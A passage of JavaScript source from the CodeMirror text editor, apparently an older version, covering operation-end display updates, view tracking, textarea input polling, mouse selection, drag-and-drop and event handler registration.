endOperation_W1(ops[i]); for (var i = 0; i < ops.length; i++) // Read DOM endOperation_R2(ops[i]); for (var i = 0; i < ops.length; i++) // Write DOM (maybe) endOperation_W2(ops[i]); for (var i = 0; i < ops.length; i++) // Read DOM endOperation_finish(ops[i]); } function endOperation_R1(op) { var cm = op.cm, display = cm.display; if (op.updateMaxLine) findMaxLine(cm); op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null || op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom || op.scrollToPos.to.line >= display.viewTo) || display.maxLineChanged && cm.options.lineWrapping; op.update = op.mustUpdate && new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate); } function endOperation_W1(op) { op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update); } function endOperation_R2(op) { var cm = op.cm, display = cm.display; if (op.updatedDisplay) updateHeightsInViewport(cm); op.barMeasure = measureForScrollbars(cm); // If the max line changed since it was last measured, measure it, // and ensure the document's width matches it. // updateDisplay_W2 will use these properties to do the actual resizing if (display.maxLineChanged && !cm.options.lineWrapping) { op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3; op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo + scrollerCutOff - display.scroller.clientWidth); } if (op.updatedDisplay || op.selectionChanged) op.newSelectionNodes = drawSelection(cm); } function endOperation_W2(op) { var cm = op.cm; if (op.adjustWidthTo != null) { cm.display.sizer.style.minWidth = op.adjustWidthTo + "px"; if (op.maxScrollLeft < cm.doc.scrollLeft) setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true); cm.display.maxLineChanged = false; } if (op.newSelectionNodes) showSelection(cm, op.newSelectionNodes); if (op.updatedDisplay) setDocumentHeight(cm, op.barMeasure); if (op.updatedDisplay || op.startHeight != cm.doc.height) updateScrollbars(cm, op.barMeasure); if (op.selectionChanged) restartBlink(cm); if (cm.state.focused && op.updateInput) resetInput(cm, op.typing); } function endOperation_finish(op) { var cm = op.cm, display = cm.display, doc = cm.doc; if (op.adjustWidthTo != null && Math.abs(op.barMeasure.scrollWidth - cm.display.scroller.scrollWidth) > 1) updateScrollbars(cm); if (op.updatedDisplay) postUpdateDisplay(cm, op.update); // Abort mouse wheel delta measurement, when scrolling explicitly if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos)) display.wheelStartX = display.wheelStartY = null; // Propagate the scroll position to the actual DOM scroller if (op.scrollTop != null && (display.scroller.scrollTop != op.scrollTop || op.forceScroll)) { var top = Math.max(0, Math.min(display.scroller.scrollHeight - display.scroller.clientHeight, op.scrollTop)); display.scroller.scrollTop = display.scrollbarV.scrollTop = doc.scrollTop = top; } if (op.scrollLeft != null && (display.scroller.scrollLeft != op.scrollLeft || op.forceScroll)) { var left = Math.max(0, Math.min(display.scroller.scrollWidth - display.scroller.clientWidth, op.scrollLeft)); display.scroller.scrollLeft = display.scrollbarH.scrollLeft = doc.scrollLeft = left; alignHorizontally(cm); } // If we need to scroll a specific position into view, do so. if (op.scrollToPos) { var coords = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from), clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin); if (op.scrollToPos.isCursor && cm.state.focused) maybeScrollWindow(cm, coords); } // Fire events for markers that are hidden/unidden by editing or // undoing var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers; if (hidden) for (var i = 0; i < hidden.length; ++i) if (!hidden[i].lines.length) signal(hidden[i], "hide"); if (unhidden) for (var i = 0; i < unhidden.length; ++i) if (unhidden[i].lines.length) signal(unhidden[i], "unhide"); if (display.wrapper.offsetHeight) doc.scrollTop = cm.display.scroller.scrollTop; // Apply workaround for two webkit bugs if (op.updatedDisplay && webkit) { if (cm.options.lineWrapping) checkForWebkitWidthBug(cm, op.barMeasure); // (Issue #2420) if (op.barMeasure.scrollWidth > op.barMeasure.clientWidth && op.barMeasure.scrollWidth < op.barMeasure.clientWidth + 1 && !hScrollbarTakesSpace(cm)) updateScrollbars(cm); // (Issue #2562) } // Fire change events, and delayed event handlers if (op.changeObjs) signal(cm, "changes", cm, op.changeObjs); } // Run the given function in an operation function runInOp(cm, f) { if (cm.curOp) return f(); startOperation(cm); try { return f(); } finally { endOperation(cm); } } // Wraps a function in an operation. Returns the wrapped function. function operation(cm, f) { return function() { if (cm.curOp) return f.apply(cm, arguments); startOperation(cm); try { return f.apply(cm, arguments); } finally { endOperation(cm); } }; } // Used to add methods to editor and doc instances, wrapping them in // operations. function methodOp(f) { return function() { if (this.curOp) return f.apply(this, arguments); startOperation(this); try { return f.apply(this, arguments); } finally { endOperation(this); } }; } function docMethodOp(f) { return function() { var cm = this.cm; if (!cm || cm.curOp) return f.apply(this, arguments); startOperation(cm); try { return f.apply(this, arguments); } finally { endOperation(cm); } }; } // VIEW TRACKING // These objects are used to represent the visible (currently drawn) // part of the document. A LineView may correspond to multiple // logical lines, if those are connected by collapsed ranges. function LineView(doc, line, lineN) { // The starting line this.line = line; // Continuing lines, if any this.rest = visualLineContinued(line); // Number of logical lines in this visual line this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1; this.node = this.text = null; this.hidden = lineIsHidden(doc, line); } // Create a range of LineView objects for the given lines. function buildViewArray(cm, from, to) { var array = [], nextPos; for (var pos = from; pos < to; pos = nextPos) { var view = new LineView(cm.doc, getLine(cm.doc, pos), pos); nextPos = pos + view.size; array.push(view); } return array; } // Updates the display.view data structure for a given change to the // document. From and to are in pre-change coordinates. Lendiff is // the amount of lines added or subtracted by the change. This is // used for changes that span multiple lines, or change the way // lines are divided into visual lines. regLineChange (below) // registers single-line changes. function regChange(cm, from, to, lendiff) { if (from == null) from = cm.doc.first; if (to == null) to = cm.doc.first + cm.doc.size; if (!lendiff) lendiff = 0; var display = cm.display; if (lendiff && to < display.viewTo && (display.updateLineNumbers == null || display.updateLineNumbers > from)) display.updateLineNumbers = from; cm.curOp.viewChanged = true; if (from >= display.viewTo) { // Change after if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo) resetView(cm); } else if (to <= display.viewFrom) { // Change before if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) { resetView(cm); } else { display.viewFrom += lendiff; display.viewTo += lendiff; } } else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap resetView(cm); } else if (from <= display.viewFrom) { // Top overlap var cut = viewCuttingPoint(cm, to, to + lendiff, 1); if (cut) { display.view = display.view.slice(cut.index); display.viewFrom = cut.lineN; display.viewTo += lendiff; } else { resetView(cm); } } else if (to >= display.viewTo) { // Bottom overlap var cut = viewCuttingPoint(cm, from, from, -1); if (cut) { display.view = display.view.slice(0, cut.index); display.viewTo = cut.lineN; } else { resetView(cm); } } else { // Gap in the middle var cutTop = viewCuttingPoint(cm, from, from, -1); var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1); if (cutTop && cutBot) { display.view = display.view.slice(0, cutTop.index) .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN)) .concat(display.view.slice(cutBot.index)); display.viewTo += lendiff; } else { resetView(cm); } } var ext = display.externalMeasured; if (ext) { if (to < ext.lineN) ext.lineN += lendiff; else if (from < ext.lineN + ext.size) display.externalMeasured = null; } } // Register a change to a single line. Type must be one of "text", // "gutter", "class", "widget" function regLineChange(cm, line, type) { cm.curOp.viewChanged = true; var display = cm.display, ext = cm.display.externalMeasured; if (ext && line >= ext.lineN && line < ext.lineN + ext.size) display.externalMeasured = null; if (line < display.viewFrom || line >= display.viewTo) return; var lineView = display.view[findViewIndex(cm, line)]; if (lineView.node == null) return; var arr = lineView.changes || (lineView.changes = []); if (indexOf(arr, type) == -1) arr.push(type); } // Clear the view. function resetView(cm) { cm.display.viewFrom = cm.display.viewTo = cm.doc.first; cm.display.view = []; cm.display.viewOffset = 0; } // Find the view element corresponding to a given line. Return null // when the line isn't visible. function findViewIndex(cm, n) { if (n >= cm.display.viewTo) return null; n -= cm.display.viewFrom; if (n < 0) return null; var view = cm.display.view; for (var i = 0; i < view.length; i++) { n -= view[i].size; if (n < 0) return i; } } function viewCuttingPoint(cm, oldN, newN, dir) { var index = findViewIndex(cm, oldN), diff, view = cm.display.view; if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size) return {index: index, lineN: newN}; for (var i = 0, n = cm.display.viewFrom; i < index; i++) n += view[i].size; if (n != oldN) { if (dir > 0) { if (index == view.length - 1) return null; diff = (n + view[index].size) - oldN; index++; } else { diff = n - oldN; } oldN += diff; newN += diff; } while (visualLineNo(cm.doc, newN) != newN) { if (index == (dir < 0 ? 0 : view.length - 1)) return null; newN += dir * view[index - (dir < 0 ? 1 : 0)].size; index += dir; } return {index: index, lineN: newN}; } // Force the view to cover a given range, adding empty view element // or clipping off existing ones as needed. function adjustView(cm, from, to) { var display = cm.display, view = display.view; if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) { display.view = buildViewArray(cm, from, to); display.viewFrom = from; } else { if (display.viewFrom > from) display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view); else if (display.viewFrom < from) display.view = display.view.slice(findViewIndex(cm, from)); display.viewFrom = from; if (display.viewTo < to) display.view = display.view.concat(buildViewArray(cm, display.viewTo, to)); else if (display.viewTo > to) display.view = display.view.slice(0, findViewIndex(cm, to)); } display.viewTo = to; } // Count the number of lines in the view whose DOM representation is // out of date (or nonexistent). function countDirtyView(cm) { var view = cm.display.view, dirty = 0; for (var i = 0; i < view.length; i++) { var lineView = view[i]; if (!lineView.hidden && (!lineView.node || lineView.changes)) ++dirty; } return dirty; } // INPUT HANDLING // Poll for input changes, using the normal rate of polling. This // runs as long as the editor is focused. function slowPoll(cm) { if (cm.display.pollingFast) return; cm.display.poll.set(cm.options.pollInterval, function() { readInput(cm); if (cm.state.focused) slowPoll(cm); }); } // When an event has just come in that is likely to add or change // something in the input textarea, we poll faster, to ensure that // the change appears on the screen quickly. function fastPoll(cm) { var missed = false; cm.display.pollingFast = true; function p() { var changed = readInput(cm); if (!changed && !missed) {missed = true; cm.display.poll.set(60, p);} else {cm.display.pollingFast = false; slowPoll(cm);} } cm.display.poll.set(20, p); } // This will be set to an array of strings when copying, so that, // when pasting, we know what kind of selections the copied text // was made out of. var lastCopied = null; // Read input from the textarea, and update the document to match. // When something is selected, it is present in the textarea, and // selected (unless it is huge, in which case a placeholder is // used). When nothing is selected, the cursor sits after previously // seen text (can be empty), which is stored in prevInput (we must // not reset the textarea when typing, because that breaks IME). function readInput(cm) { var input = cm.display.input, prevInput = cm.display.prevInput, doc = cm.doc; // Since this is called a *lot*, try to bail out as cheaply as // possible when it is clear that nothing happened. hasSelection // will be the case when there is a lot of text in the textarea, // in which case reading its value would be expensive. if (!cm.state.focused || (hasSelection(input) && !prevInput) || isReadOnly(cm) || cm.options.disableInput) return false; // See paste handler for more on the fakedLastChar kludge if (cm.state.pasteIncoming && cm.state.fakedLastChar) { input.value = input.value.substring(0, input.value.length - 1); cm.state.fakedLastChar = false; } var text = input.value; // If nothing changed, bail. if (text == prevInput && !cm.somethingSelected()) return false; // Work around nonsensical selection resetting in IE9/10, and // inexplicable appearance of private area unicode characters on // some key combos in Mac (#2689). if (ie && ie_version >= 9 && cm.display.inputHasSelection === text || mac && /[\uf700-\uf7ff]/.test(text)) { resetInput(cm); return false; } var withOp = !cm.curOp; if (withOp) startOperation(cm); cm.display.shift = false; if (text.charCodeAt(0) == 0x200b && doc.sel == cm.display.selForContextMenu && !prevInput) prevInput = "\u200b"; // Find the part of the input that is actually new var same = 0, l = Math.min(prevInput.length, text.length); while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) ++same; var inserted = text.slice(same), textLines = splitLines(inserted); // When pasing N lines into N selections, insert one line per selection var multiPaste = null; if (cm.state.pasteIncoming && doc.sel.ranges.length > 1) { if (lastCopied && lastCopied.join("\n") == inserted) multiPaste = doc.sel.ranges.length % lastCopied.length == 0 && map(lastCopied, splitLines); else if (textLines.length == doc.sel.ranges.length) multiPaste = map(textLines, function(l) { return [l]; }); } // Normal behavior is to insert the new text into every selection for (var i = doc.sel.ranges.length - 1; i >= 0; i--) { var range = doc.sel.ranges[i]; var from = range.from(), to = range.to(); // Handle deletion if (same < prevInput.length) from = Pos(from.line, from.ch - (prevInput.length - same)); // Handle overwrite else if (cm.state.overwrite && range.empty() && !cm.state.pasteIncoming) to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length)); var updateInput = cm.curOp.updateInput; var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i % multiPaste.length] : textLines, origin: cm.state.pasteIncoming ? "paste" : cm.state.cutIncoming ? "cut" : "+input"}; makeChange(cm.doc, changeEvent); signalLater(cm, "inputRead", cm, changeEvent); // When an 'electric' character is inserted, immediately trigger a reindent if (inserted && !cm.state.pasteIncoming && cm.options.electricChars && cm.options.smartIndent && range.head.ch < 100 && (!i || doc.sel.ranges[i - 1].head.line != range.head.line)) { var mode = cm.getModeAt(range.head); var end = changeEnd(changeEvent); if (mode.electricChars) { for (var j = 0; j < mode.electricChars.length; j++) if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) { indentLine(cm, end.line, "smart"); break; } } else if (mode.electricInput) { if (mode.electricInput.test(getLine(doc, end.line).text.slice(0, end.ch))) indentLine(cm, end.line, "smart"); } } } ensureCursorVisible(cm); cm.curOp.updateInput = updateInput; cm.curOp.typing = true; // Don't leave long text in the textarea, since it makes further polling slow if (text.length > 1000 || text.indexOf("\n") > -1) input.value = cm.display.prevInput = ""; else cm.display.prevInput = text; if (withOp) endOperation(cm); cm.state.pasteIncoming = cm.state.cutIncoming = false; return true; } // Reset the input to correspond to the selection (or to be empty, // when not typing and nothing is selected) function resetInput(cm, typing) { var minimal, selected, doc = cm.doc; if (cm.somethingSelected()) { cm.display.prevInput = ""; var range = doc.sel.primary(); minimal = hasCopyEvent && (range.to().line - range.from().line > 100 || (selected = cm.getSelection()).length > 1000); var content = minimal ? "-" : selected || cm.getSelection(); cm.display.input.value = content; if (cm.state.focused) selectInput(cm.display.input); if (ie && ie_version >= 9) cm.display.inputHasSelection = content; } else if (!typing) { cm.display.prevInput = cm.display.input.value = ""; if (ie && ie_version >= 9) cm.display.inputHasSelection = null; } cm.display.inaccurateSelection = minimal; } function focusInput(cm) { if (cm.options.readOnly != "nocursor" && (!mobile || activeElt() != cm.display.input)) cm.display.input.focus(); } function ensureFocus(cm) { if (!cm.state.focused) { focusInput(cm); onFocus(cm); } } function isReadOnly(cm) { return cm.options.readOnly || cm.doc.cantEdit; } // EVENT HANDLERS // Attach the necessary event handlers when initializing the editor function registerEventHandlers(cm) { var d = cm.display; on(d.scroller, "mousedown", operation(cm, onMouseDown)); // Older IE's will not fire a second mousedown for a double click if (ie && ie_version < 11) on(d.scroller, "dblclick", operation(cm, function(e) { if (signalDOMEvent(cm, e)) return; var pos = posFromMouse(cm, e); if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) return; e_preventDefault(e); var word = cm.findWordAt(pos); extendSelection(cm.doc, word.anchor, word.head); })); else on(d.scroller, "dblclick", function(e) { signalDOMEvent(cm, e) || e_preventDefault(e); }); // Prevent normal selection in the editor (we handle our own) on(d.lineSpace, "selectstart", function(e) { if (!eventInWidget(d, e)) e_preventDefault(e); }); // Some browsers fire contextmenu *after* opening the menu, at // which point we can't mess with it anymore. Context menu is // handled in onMouseDown for these browsers. if (!captureRightClick) on(d.scroller, "contextmenu", function(e) {onContextMenu(cm, e);}); // Sync scrolling between fake scrollbars and real scrollable // area, ensure viewport is updated when scrolling. on(d.scroller, "scroll", function() { if (d.scroller.clientHeight) { setScrollTop(cm, d.scroller.scrollTop); setScrollLeft(cm, d.scroller.scrollLeft, true); signal(cm, "scroll", cm); } }); on(d.scrollbarV, "scroll", function() { if (d.scroller.clientHeight) setScrollTop(cm, d.scrollbarV.scrollTop); }); on(d.scrollbarH, "scroll", function() { if (d.scroller.clientHeight) setScrollLeft(cm, d.scrollbarH.scrollLeft); }); // Listen to wheel events in order to try and update the viewport on time. on(d.scroller, "mousewheel", function(e){onScrollWheel(cm, e);}); on(d.scroller, "DOMMouseScroll", function(e){onScrollWheel(cm, e);}); // Prevent clicks in the scrollbars from killing focus function reFocus() { if (cm.state.focused) setTimeout(bind(focusInput, cm), 0); } on(d.scrollbarH, "mousedown", reFocus); on(d.scrollbarV, "mousedown", reFocus); // Prevent wrapper from ever scrolling on(d.wrapper, "scroll", function() { d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; }); on(d.input, "keyup", function(e) { onKeyUp.call(cm, e); }); on(d.input, "input", function() { if (ie && ie_version >= 9 && cm.display.inputHasSelection) cm.display.inputHasSelection = null; fastPoll(cm); }); on(d.input, "keydown", operation(cm, onKeyDown)); on(d.input, "keypress", operation(cm, onKeyPress)); on(d.input, "focus", bind(onFocus, cm)); on(d.input, "blur", bind(onBlur, cm)); function drag_(e) { if (!signalDOMEvent(cm, e)) e_stop(e); } if (cm.options.dragDrop) { on(d.scroller, "dragstart", function(e){onDragStart(cm, e);}); on(d.scroller, "dragenter", drag_); on(d.scroller, "dragover", drag_); on(d.scroller, "drop", operation(cm, onDrop)); } on(d.scroller, "paste", function(e) { if (eventInWidget(d, e)) return; cm.state.pasteIncoming = true; focusInput(cm); fastPoll(cm); }); on(d.input, "paste", function() { // Workaround for webkit bug https://bugs.webkit.org/show_bug.cgi?id=90206 // Add a char to the end of textarea before paste occur so that // selection doesn't span to the end of textarea. if (webkit && !cm.state.fakedLastChar && !(new Date - cm.state.lastMiddleDown < 200)) { var start = d.input.selectionStart, end = d.input.selectionEnd; d.input.value += "$"; // The selection end needs to be set before the start, otherwise there // can be an intermediate non-empty selection between the two, which // can override the middle-click paste buffer on linux and cause the // wrong thing to get pasted. d.input.selectionEnd = end; d.input.selectionStart = start; cm.state.fakedLastChar = true; } cm.state.pasteIncoming = true; fastPoll(cm); }); function prepareCopyCut(e) { if (cm.somethingSelected()) { lastCopied = cm.getSelections(); if (d.inaccurateSelection) { d.prevInput = ""; d.inaccurateSelection = false; d.input.value = lastCopied.join("\n"); selectInput(d.input); } } else { var text = [], ranges = []; for (var i = 0; i < cm.doc.sel.ranges.length; i++) { var line = cm.doc.sel.ranges[i].head.line; var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)}; ranges.push(lineRange); text.push(cm.getRange(lineRange.anchor, lineRange.head)); } if (e.type == "cut") { cm.setSelections(ranges, null, sel_dontScroll); } else { d.prevInput = ""; d.input.value = text.join("\n"); selectInput(d.input); } lastCopied = text; } if (e.type == "cut") cm.state.cutIncoming = true; } on(d.input, "cut", prepareCopyCut); on(d.input, "copy", prepareCopyCut); // Needed to handle Tab key in KHTML if (khtml) on(d.sizer, "mouseup", function() { if (activeElt() == d.input) d.input.blur(); focusInput(cm); }); } // Called when the window resizes function onResize(cm) { // Might be a text scaling operation, clear size caches. var d = cm.display; d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null; cm.setSize(); } // MOUSE EVENTS // Return true when the given mouse event happened in a widget function eventInWidget(display, e) { for (var n = e_target(e); n != display.wrapper; n = n.parentNode) { if (!n || n.ignoreEvents || n.parentNode == display.sizer && n != display.mover) return true; } } // Given a mouse event, find the corresponding position. If liberal // is false, it checks whether a gutter or scrollbar was clicked, // and returns null if it was. forRect is used by rectangular // selections, and tries to estimate a character position even for // coordinates beyond the right of the text. function posFromMouse(cm, e, liberal, forRect) { var display = cm.display; if (!liberal) { var target = e_target(e); if (target == display.scrollbarH || target == display.scrollbarV || target == display.scrollbarFiller || target == display.gutterFiller) return null; } var x, y, space = display.lineSpace.getBoundingClientRect(); // Fails unpredictably on IE[67] when mouse is dragged around quickly. try { x = e.clientX - space.left; y = e.clientY - space.top; } catch (e) { return null; } var coords = coordsChar(cm, x, y), line; if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) { var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length; coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff)); } return coords; } // A mouse down can be a single click, double click, triple click, // start of selection drag, start of text drag, new cursor // (ctrl-click), rectangle drag (alt-drag), or xwin // middle-click-paste. Or it might be a click on something we should // not interfere with, such as a scrollbar or widget. function onMouseDown(e) { if (signalDOMEvent(this, e)) return; var cm = this, display = cm.display; display.shift = e.shiftKey; if (eventInWidget(display, e)) { if (!webkit) { // Briefly turn off draggability, to allow widgets to do // normal dragging things. display.scroller.draggable = false; setTimeout(function(){display.scroller.draggable = true;}, 100); } return; } if (clickInGutter(cm, e)) return; var start = posFromMouse(cm, e); window.focus(); switch (e_button(e)) { case 1: if (start) leftButtonDown(cm, e, start); else if (e_target(e) == display.scroller) e_preventDefault(e); break; case 2: if (webkit) cm.state.lastMiddleDown = +new Date; if (start) extendSelection(cm.doc, start); setTimeout(bind(focusInput, cm), 20); e_preventDefault(e); break; case 3: if (captureRightClick) onContextMenu(cm, e); break; } } var lastClick, lastDoubleClick; function leftButtonDown(cm, e, start) { setTimeout(bind(ensureFocus, cm), 0); var now = +new Date, type; if (lastDoubleClick && lastDoubleClick.time > now - 400 && cmp(lastDoubleClick.pos, start) == 0) { type = "triple"; } else if (lastClick && lastClick.time > now - 400 && cmp(lastClick.pos, start) == 0) { type = "double"; lastDoubleClick = {time: now, pos: start}; } else { type = "single"; lastClick = {time: now, pos: start}; } var sel = cm.doc.sel, modifier = mac ? e.metaKey : e.ctrlKey; if (cm.options.dragDrop && dragAndDrop && !isReadOnly(cm) && type == "single" && sel.contains(start) > -1 && sel.somethingSelected()) leftButtonStartDrag(cm, e, start, modifier); else leftButtonSelect(cm, e, start, type, modifier); } // Start a text drag. When it ends, see if any dragging actually // happen, and treat as a click if it didn't. function leftButtonStartDrag(cm, e, start, modifier) { var display = cm.display; var dragEnd = operation(cm, function(e2) { if (webkit) display.scroller.draggable = false; cm.state.draggingText = false; off(document, "mouseup", dragEnd); off(display.scroller, "drop", dragEnd); if (Math.abs(e.clientX - e2.clientX) + Math.abs(e.clientY - e2.clientY) < 10) { e_preventDefault(e2); if (!modifier) extendSelection(cm.doc, start); focusInput(cm); // Work around unexplainable focus problem in IE9 (#2127) if (ie && ie_version == 9) setTimeout(function() {document.body.focus(); focusInput(cm);}, 20); } }); // Let the drag handler handle this. if (webkit) display.scroller.draggable = true; cm.state.draggingText = dragEnd; // IE's approach to draggable if (display.scroller.dragDrop) display.scroller.dragDrop(); on(document, "mouseup", dragEnd); on(display.scroller, "drop", dragEnd); } // Normal selection, as opposed to text dragging. function leftButtonSelect(cm, e, start, type, addNew) { var display = cm.display, doc = cm.doc; e_preventDefault(e); var ourRange, ourIndex, startSel = doc.sel; if (addNew && !e.shiftKey) { ourIndex = doc.sel.contains(start); if (ourIndex > -1) ourRange = doc.sel.ranges[ourIndex]; else ourRange = new Range(start, start); } else { ourRange = doc.sel.primary(); } if (e.altKey) { type = "rect"; if (!addNew) ourRange = new Range(start, start); start = posFromMouse(cm, e, true, true); ourIndex = -1; } else if (type == "double") { var word = cm.findWordAt(start); if (cm.display.shift || doc.extend) ourRange = extendRange(doc, ourRange, word.anchor, word.head); else ourRange = word; } else if (type == "triple") { var line = new Range(Pos(start.line, 0), clipPos(doc, Pos(start.line + 1, 0))); if (cm.display.shift || doc.extend) ourRange = extendRange(doc, ourRange, line.anchor, line.head); else ourRange = line; } else { ourRange = extendRange(doc, ourRange, start); } if (!addNew) { ourIndex = 0; setSelection(doc, new Selection([ourRange], 0), sel_mouse); startSel = doc.sel; } else if (ourIndex > -1) { replaceOneSelection(doc, ourIndex, ourRange, sel_mouse); } else { ourIndex = doc.sel.ranges.length; setSelection(doc, normalizeSelection(doc.sel.ranges.concat([ourRange]), ourIndex), {scroll: false, origin: "*mouse"}); } var lastPos = start; function extendTo(pos) { if (cmp(lastPos, pos) == 0) return; lastPos = pos; if (type == "rect") { var ranges = [], tabSize = cm.options.tabSize; var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize); var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize); var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol); for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line)); line <= end; line++) { var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize); if (left == right) ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos))); else if (text.length > leftPos) ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize)))); } if (!ranges.length) ranges.push(new Range(start, start)); setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex), {origin: "*mouse", scroll: false}); cm.scrollIntoView(pos); } else { var oldRange = ourRange; var anchor = oldRange.anchor, head = pos; if (type != "single") { if (type == "double") var range = cm.findWordAt(pos); else var range = new Range(Pos(pos.line, 0), clipPos(doc, Pos(pos.line + 1, 0))); if (cmp(range.anchor, anchor) > 0) { head = range.head; anchor = minPos(oldRange.from(), range.anchor); } else { head = range.anchor; anchor = maxPos(oldRange.to(), range.head); } } var ranges = startSel.ranges.slice(0); ranges[ourIndex] = new Range(clipPos(doc, anchor), head); setSelection(doc, normalizeSelection(ranges, ourIndex), sel_mouse); } } var editorSize = display.wrapper.getBoundingClientRect(); // Used to ensure timeout re-tries don't fire when another extend // happened in the meantime (clearTimeout isn't reliable -- at // least on Chrome, the timeouts still happen even when cleared, // if the clear happens after their scheduled firing time). var counter = 0; function extend(e) { var curCount = ++counter; var cur = posFromMouse(cm, e, true, type == "rect"); if (!cur) return; if (cmp(cur, lastPos) != 0) { ensureFocus(cm); extendTo(cur); var visible = visibleLines(display, doc); if (cur.line >= visible.to || cur.line < visible.from) setTimeout(operation(cm, function(){if (counter == curCount) extend(e);}), 150); } else { var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0; if (outside) setTimeout(operation(cm, function() { if (counter != curCount) return; display.scroller.scrollTop += outside; extend(e); }), 50); } } function done(e) { counter = Infinity; e_preventDefault(e); focusInput(cm); off(document, "mousemove", move); off(document, "mouseup", up); doc.history.lastSelOrigin = null; } var move = operation(cm, function(e) { if (!e_button(e)) done(e); else extend(e); }); var up = operation(cm, done); on(document, "mousemove", move); on(document, "mouseup", up); } // Determines whether an event happened in the gutter, and fires the // handlers for the corresponding event. function gutterEvent(cm, e, type, prevent, signalfn) { try { var mX = e.clientX, mY = e.clientY; } catch(e) { return false; } if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) return false; if (prevent) e_preventDefault(e); var display = cm.display; var lineBox = display.lineDiv.getBoundingClientRect(); if (mY > lineBox.bottom || !hasHandler(cm, type)) return e_defaultPrevented(e); mY -= lineBox.top - display.viewOffset; for (var i = 0; i < cm.options.gutters.length; ++i) { var g = display.gutters.childNodes[i]; if (g && g.getBoundingClientRect().right >= mX) { var line = lineAtHeight(cm.doc, mY); var gutter = cm.options.gutters[i]; signalfn(cm, type, cm, line, gutter, e); return e_defaultPrevented(e); } } } function clickInGutter(cm, e) { return gutterEvent(cm, e, "gutterClick", true, signalLater); } // Kludge to work around strange IE behavior where it'll sometimes // re-fire a series of drag-related events right after the drop (#1551) var lastDrop = 0; function onDrop(e) { var cm = this; if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return; e_preventDefault(e); if (ie) lastDrop = +new Date; var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files; if (!pos || isReadOnly(cm)) return; // Might be a file drop, in which case we simply extract the text // and insert it. if (files && files.length && window.FileReader && window.File) { var n = files.length, text = Array(n), read = 0; var loadFile = function(file, i) { var reader = new FileReader; reader.onload = operation(cm, function() { text[i] = reader.result; if (++read == n) { pos = clipPos(cm.doc, pos); var change = {from: pos, to: pos, text: splitLines(text.join("\n")), origin: "paste"}; makeChange(cm.doc, change); setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change))); } }); reader.readAsText(file); }; for (var i = 0; i < n; ++i) loadFile(files[i], i); } else { // Normal drop // Don't do a replace if the drop happened inside of the selected text. if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) { cm.state.draggingText(e); // Ensure the editor is re-focused setTimeout(bind(focusInput, cm), 20); return; } try { var text = e.dataTransfer.getData("Text"); if (text) { if (cm.state.draggingText && !(mac ? e.metaKey : e.ctrlKey)) var selected = cm.listSelections(); setSelectionNoUndo(cm.doc, simpleSelection(pos, pos)); if (selected) for (var i = 0; i < selected.length; ++i) replaceRange(cm.doc, "", selected[i].anchor, selected[i].head, "drag"); cm.replaceSelection(text, "around", "paste"); focusInput(cm); } } catch(e){} } } function onDragStart(cm, e) { if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return; } if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return; e.dataTransfer.setData("Text", cm.getSelection()); // Use dummy image instead of default browsers image. // Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there. if (e.dataTransfer.setDragImage && !safari) { var img = elt("img", null, null, "position: fixed; left: 0; top: 0;"); img.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="; if (presto) { img.width = img.height = 1; cm.display.wrapper.appendChild(img); // Force a relayout, or Opera won't use our image for some obscure reason img._top = img.offsetTop; } e.dataTransfer.setDragImage(img, 0, 0); if (presto) img.parentNode.removeChild(img); } } // SCROLL EVENTS // Sync the scrollable area and scrollbars, ensure the viewport // covers the visible area. function setScrollTop(cm, val) { if 